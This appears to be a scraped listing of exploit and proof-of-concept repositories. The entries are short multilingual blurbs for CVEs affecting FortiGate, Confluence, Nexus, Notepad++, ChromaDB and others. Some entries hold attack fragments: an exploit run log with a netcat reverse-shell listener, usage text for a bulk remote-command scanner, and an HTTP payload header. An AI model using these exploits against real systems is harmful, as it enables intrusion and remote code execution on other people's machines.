CVE-2023-27997

CVE-2023-27997 FortiGate VM64 7.2.0 可被此代码利用。（注意：代码编写方式非常愚蠢。） 概念验证 $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in cache - not in cache + computing + loading + heap spray + execute $ nc -lvp 9999 Listenin...

CVE-2019-14439

CVE-2019-14439 Jackson-databind Ejecución Remota de Código...

CVE-2024-11320

CVE-2024-11320 Exploit para la ejecución remota de código en Pandora FMS CVE-2024-11320...

CVE-2023-22527

I am not responsible for any illegal attacks CVE-2023-22527 Bulk scanning scripts help usage: python3 CVE-2023-22527.py -u -f -c options: -h, --help show this help message and exit -u TARGET, --target TARGET Target URL -f FILE, --file FILE URL file -c CMD, --cmd CMD Commands to execute -t THREAD,...

CVE-2021-40444-POC

CVE-2021-40444-POC Un intento de reproducir la vulnerabilidad de ejecución remota de código RCE de Microsoft MSHTML utilizando Metasploit Framework. funciona mejor si no se ejecuta en FlareVM PREPARACIÓN Clona el repositorio desde https://github.com/lockedbyte/CVE-2021-40444 Prepara la plantilla...

CVE-2026-45829

🚨 CVE-2026-45829 - ChromaDB 预认证远程代码执行 ChromaDB 向量数据库中的严重远程代码执行漏洞 📌 概述 CVE-2026-45829 是 ChromaDB （一款流行的开源 AI 向量数据库）中的一个严重预认证远程代码执行 漏洞。 未经身份验证的攻击者可以利用 ChromaDB 处理嵌入函数配置的方式，在服务器上实现完全远程代码执行 。 关键信息 项目| 详情 ---|--- CVE ID| CVE-2026-45829 严重性| 严重 CVSS 9.8 受影响组件| 嵌入函数处理器 攻击向量| 未认证 HTTP 请求 影响| 远程代码执行 RCE...

Magento-CVE-2016-4010

Análisis y explotación de la vulnerabilidad de ejecución remota de código no autenticada en Magento CVE-2016-4010 0x00 Prefacio El 17 de mayo, el investigador de seguridad Netanel Rubin publicó una vulnerabilidad de ejecución remota de código no autenticada en Magento CVE-2016-4010. Esta...

CVE-2022-23529-Exploration

CVE-2022-23529 3.4.6、4.0.4 和 4.1.5 之前的 JSON Web Token JWT 库版本存在 RCE 漏洞。 HMAC 哈希函数接受任意字符串作为输入，从而导致 RCE。 由于前提条件，该漏洞不太可能被利用。 要利用此漏洞，攻击者需要满足以下条件之一： 服务器未安全存储密钥。 攻击者需要能够访问并控制密钥。 npm install [email protected] var jwt = require'jsonwebtoken'; 使用服务器密钥创建令牌 var token = jwt.sign"x":"y", 'serverssecret';...

CVE-2026-96419

Profile import crash in 4.6.0 to 4.6.8 and 4.4.0 to 4.4.18 allows denial of service and possible code execution...

CVE-2026-19547

Ghostscript for Windows is vulnerable to local privilege escalation through PostScript resource file hijacking. Due to the application searching for PostScript resource files in predictable paths under C:\gs\ that do not exist by default on Windows installations, combined with Windows default...

CVE-2026-15390

Das U-Boot with CONFIGIPDEFRAG=y parameter fails to clear IP reassembly state after delivering a complete datagram. An attacker who can deliver fragmented IP traffic can execute arbitrary code by sending duplicated last-fragment IP packets. This issue was fixed in commit...

CVE-2025-59287-PoC

CVE-2025-59287 / CVE-2023-35317 PoC Dentro de CVE-2025-59287: SoapFormatter RCE en WSUS: https://shellcode.blog/wsus-cve-2025-59287-investigation/ Este software ha sido creado únicamente con fines de investigación académica y para el desarrollo de técnicas defensivas efectivas, y no está destinad...

dnscontrol

DNSControl DNSControl is Infrastructure as Code for DNS. It includes a full-featured configuration language Javascript-compatible, plus "plug-ins" that speak to DNS provider APIs such as AWS Route 53, Cloudflare, and Gandi. It can send the same DNS records to multiple providers. It runs anywhere ...

laravel-rce-cve-2018-15133

laravel-rce-cve-2018-15133 CVE-2018-15133...

CVE-2025-55182-React2Shell

CVE-2025-55182-React2Shell xpl0ited by infrar3d Una vulnerabilidad de gravedad crítica 10.0 que afecta el uso del lado del servidor de React.js, registrada como CVE-2025-55182 en React.js y CVE-2025-66478 específicamente para el framework Next.js. Esta vulnerabilidad fue divulgada de manera...

CVE-2019-5475-Nexus-Repository-Manager-

CVE-2019-5475-Nexus-Repository-Manager- Payload PUT /nexus/service/siesta/capabilities/xxxxxxxxx HTTP/1.1 Host: xxxx.xxxx.com User-Agent: Accept: application/json,application/vnd.siesta-error-v1+json,application/vnd.siesta-validation-errors-v1+json Accept-Language:...

CVE-2023-6401

CVE-2023-6401 · Prueba de concepto de secuestro de DLL English | 中文 中文 ⚠️ Aviso importante: Solo para fines de investigación y educación en seguridad Prueba de concepto de la vulnerabilidad de secuestro de DLL en NotePad++ ≤ 8.1. Ejecuta código arbitrario colocando un dbghelp.dll malicioso en el...

CVE-2024-5932

Esta publicación es un artículo de investigación publicado por EQSTLab. ❗❗ IMPORTANTE ❗❗ Actualmente existen repositorios falsos de PoC en GitHub que ejecutan xmrig. Consulte el siguiente enlace para obtener más información : URL1: https://x.com/win3zz/status/1828704644987511107 URL2:...

CVE-2026-19547

Ghostscript for Windows is vulnerable to local privilege escalation via PostScript resource file hijacking. The application searches for files in predictable paths under **C:\gs*, which do not exist by default. Because Windows default ACLs allow authenticated users to create directories at the ro...

CVE-2026-19547 Local Privilege Escalation in Ghostscript for Windows

Ghostscript for Windows is vulnerable to local privilege escalation through PostScript resource file hijacking. Due to the application searching for PostScript resource files in predictable paths under C:\gs\ that do not exist by default on Windows installations, combined with Windows default...